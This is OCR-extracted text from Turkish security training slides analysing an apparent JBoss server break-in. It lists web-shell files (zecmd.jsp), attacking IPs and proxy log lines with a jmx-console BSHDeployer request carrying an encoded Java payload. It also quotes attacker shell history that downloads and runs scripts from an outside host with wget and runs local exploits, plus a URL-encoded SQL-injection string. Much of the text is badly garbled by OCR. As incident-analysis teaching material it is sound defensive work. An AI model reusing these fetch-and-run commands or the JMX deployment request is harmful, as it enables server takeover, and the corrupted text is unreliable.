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R — el = o =2

Convert

' You are not logged in. You can still view everyone’s public tags but you need to register to create tags and save urls.

Input 78| m Output | -246‘v m

<@iis uriencode O>SELECT * FROM TABLE WHERE USERNAME="1" ;‘%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u002a%u0020%u00'
--<@/iis uriencode 0> 46%u0052%u004£%u0044%u0020%u0054%u0041%u0042%u004c%u0045%u
0020%u0057%u0048%u0045%u0052%u0045%u0020%u0055%u0053%u0045
%u0052%u004e%u0041%u004d%u0045%u003d%u0022%u0031%u0022%u00

20%u002d%u002d

————_—__V—'—’

s
Pdd

Flane Flanr tame Clane Creare Cumn Calnre TN Qalart Incnart Incnart HTMI  Alert Nhiitnuir Fyernte IS IS Frach
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jBOSS Kullanici Komut Ge¢misi (History) BGA | SOME
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~> history

1 clear

2 axit

3 bash

i exit

S bash

€ g¢d /yax

7 ¢d jboss-4.2.2.GA/
8 I»

® lp -1

10 ghmed 755 *.ah
11 1»

12 c¢clear

13 lp -1

14 ./starcPROD.ah

15 tail =¥ sexver/default/log/boot.log
16 pas -ef | grep java

17 clear

18 c¢d sexver/
19 ¢d default/

20 eod 1

21 ls

22 ed log

23 l=

24 tail -f application.log
235 clear

26 _cd ..

v ————— - -

27 J./stopPROD.sh

28 p2 -eof | gxep Java
29 ./startPROD.sh
30 tail ~f server/default/liog/server.log

31 clear
a2 ras) =Ff sarvarvidataniviionsnlasanvrwar. o
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Sistem Uzerinde Degisen Dosyalar
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fvar/jboss-4.2.2.GA/kisses.tar.gz.10
fvar/jboss-4.2.2.GA/server/default/work/jboss.web/localhost/zecmd/tidCache.ser
fvar/jboss-
4.2.2.GA/server/default/work/jboss.web/localhost/ze g
fvar/jboss-
4.2.2.GA/server/default/work/jboss.web/localhost/zeWgd/org/apache/jsp/zecmd_jsp.clas

fvar/jboss-4.2.2.GA[server/default/log/server.log.2011-10-T%
fvar/jboss-4.2.2.GA/server/default/log/mip_console.log
fvar/jboss-4.2.2.GA/server/default/log/server.log.2011-10-20
fvar/jboss-4.2.2.GA[server/default/log/server.log.2011-10-23
fvar/jboss-4.2.2.GA/server/default/log/server.log.2011-10-22
fvar/jboss-4.2.2.GA/server/default/log/server.log.2011-10-21
fvar/jboss-4.2.2.GA[server/default/log/boot.log
fvar/jboss-4.2.2.GA/server/default/log/server.log
fvar/jboss-4.2.2.GA/server/default/deploy/managemeg/zecmd.war/zecmd.jsp
fvar/jboss-4.2.2.GA/server/default/data/hypersonic/localDE. 1O

fvar/jboss-4.2.2.GA/server/default/data/hypersonic/localDB.Ick Ick
fvar/jboss-4.2.2.GA/server/default/data/hypersonic/localDB.properties

fvar/jboss-4.2.2.GA/server/default/data/hypersonic/localDB.script
fvar/jboss-4.2.2.GA/server/default/data/hypersonic/localDB.data
fvar/jboss-4.2.2.GA/server/default/data/tx-object-
store/HashedActionStore/defaultStore/Recovery/TransactionStatusManager/#215#/ -
53e6fd28 9e90 4ea5283c 0
fvar/jboss-4.2.2.GA/server/default/tmp/deploy/tmp7291816519261385626hsqldb-jdbc2-
service,xmil
fvar/jboss-4.2.2.GA/server/default/tmp/deploy/tmp218013712773108704jboss-service.xml

fvar/jboss-4.2.2.GA/server/default/tmp/deploy/tmp83762887013004326stax-api.jar
fvar/jboss-4.2.2.GA/server/default/tmp/deploy/tmp3087809288491699901wsdl4j.jar

fvar/iboss-4.2.2.GA/server/default/tmo/deplov/tmp8083791675379409889wsdldi.iar

org/apache/jsp/zecmd_jsp.jave
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Ornek Saldiri Analizi 2 BGA | SOME
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* Gerceklestirilen tum incelemeler sistemlerden alinmis loglar Gzerinde
gerceklestirilmistir.
* Analiz calismasinda Firma2 firmalari tarafindan saglanan asagidaki veriler
kullantlmistir.
» Database baglanti loglari
» Load balancer erisim loglari
» Firewall/IPS loglari
» Disk analizi
» Memory analizi
» Jboss erisim loglari
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Sisteme Sizan IP Adresleri
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Nasil belirlendi?
IP Adresi Kurum Ismi S1zma Yontemi
50.16.109.4 AMAZON-EC2-8 Worm/Otomatik
190.146.192.22 Telmex Colombia 5.A Worm,/Otomatik
74.55.162.114 Worm/Otomatik
184.73.242.15 AMAZON-EC2-7 MG’ED matik
125.88.105.88 China Telecom Worm,/Otomatik
119.163.193.26 Worm/Otomatik
117.120.5.226 Worm/Otomatik
200.129.188.4 Worm/Otomatik
‘\\
2 BGA
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Proxy Log Analizi
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Jhaproxy.log.2/haproxy.log.0:0ct 28 14:33:17 |ocalhost haproxy[31118]: SALDIRGAMN_IP:49115
[EEng;ﬂDll:l-iﬂE:lT.ﬂﬂl] tikla3 80 tikla2 80/webapp2 25/0/1/20/53 500 182 - - --—-- 1/0/0/0/0
0/0 "HEAD fjmx-
console/Htmladaptor?action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&meth
odName=createScriptDeployment&argType=java.lang.S5tring&argl=import¥20java.io.FileOutputStre

am%%3B%0Aimport®e20sun.misc. BASEGdDecoderf 3B 0A%0AString? e 20valte20%3D%20% 22CjwiQAp
wYWdIIGRcG9ydD0iamF2YS5sYW5SnLioslGphdmEud XRpbC4qLCBgYXZhLmlvLioslG phdmEubmV 0LioiCi

U%2BCIAgICAgICAZICAEIDWIIQog CAZICAZICAZICAZICAZc3RhAGIIGNSYXNzIFNOcmVhbUNvbmSIY3Rve
iBleHRIbmRzIFRocmVhZAogl CAgICAgICAgICAgI CAgewo gl CAgICAZICAZICAZICAZICAZIEIuCHYOU 3Ry ZW
FIGIzOwoglCAgICAgI CAgICAgICAZICAZIES1dHBLAFNOCcmY hbSBvczsK CIAgiCAgICAgICAEICAgICAZICAZ
U3RyZWFt0Q29ubmVjdG9yKCBIbnB1dFNOcmVhbSBpoywgT3V0cHY0U3RyZWFtIG9zICkKICAZICAZICAg]
CAgICAgICAgICEB/CIAgICAgICAICAgICARICARICARICAEIHRoa AMua XM gP5BpczsKICAgICAgICAZICAGICA
glCAgICAgICAgdGhpoySvey ASIG9zOwoglCAZICASICAZICAgI CAgICAZIHOK CIAgICAZICAZICAEICAZICAEIC
ApcHVI

Jfhaproxy.log.2/haproxy.log.0:0ct 28 15:04:30 |ocalhost haproxy[31118]: SALDIRGAN_IP:50914
[Eﬂfggflﬂll:l&ﬂ-iﬂﬂ.lﬁﬁ] tikla3 80 tikla2_ 80/webappl 19/0/0/19/54 500 182 - - ——- 0/0/0/0/0
0/0 "HEAD Jjnx-
console/Htmladaptor?action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&meth
odName=createScriptDeployment&argType=java.lang.String&argl=import¥20java.io.FileOutputStre
am%%3B%0Aimport®e20sun.misc. BASEGdDecoderf 3B 0A%0AString? e 20valte20%3D%20% 22CjwiQAp
wYWdIIGRcG9ydD0iamF2YS555YW5SnLioslGphdmEud XRpbCAqLCBgYXZhLmlvLioslG phdmEubmV 0LioiCi
U%2BCIAgICAgICAZICAEIDWIIQogl CAZICAZICAZICAZICAZc3RhAGIIGNSYXNzIFNOcmVhbUNvbmSIY3Rve
iBleHRIbmRzIFRocmVhZAogl CAgICAgICAgICAgI CAgewo gl CAgICAZICAZICAZICAZICAZIEIuCHYOU 3Ry ZW
FIGIzOwoglCAgICAgI CAgICAgICAZICAZIES1dHBLAFNOCcmY hbSBvczsK CIAgiCAgICAgICAEICAgICAZICAZ
U3RyZWFt029ubmVjdG9yKCBIbnB1dFNOcmVhbSBpoywgT3V0cHY 0U3RyZWFtIG9zICkKICAZICAZICAg]
CAgICAgICARICB/CIAgICAEICASI CASICASICASICARICAEIHRoa X MuaxMegP5BpczsKICAEICAEICASICASICA
glCAgICAgICAzdG hpoydvoyASIGI9zOwoelCAgICAZICAZICAZI CAZICAZIHOKCIAZICASICASICAZICAZICAEIC
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Saldiri Sonrasi Aktiviteler BGA | SOME
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e 734 id
. 735 ./exploit
. 736 ./exploit-pulseaudio

. 737 id

. 738 Is -la

. 739 Is-la

. 740 cd ..

. 741 rm -rf wlw*
. 742 s

. 743 exit

. 744 rm -rf a.py
. 745 curl

o 746 gcc

. 747 cd /tmp;wget muie.altervista.org/raven/pula.sh;chmod +x pula.sh;./pula.sh;rm -rf pula.sh payload.c exploit
. 748 cd /tmp;wget muie.altervista.org/raven/a.x;chmod +x a.x;./a.x
. 749 clear

' &
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Ikinci Boliume Geciniz!



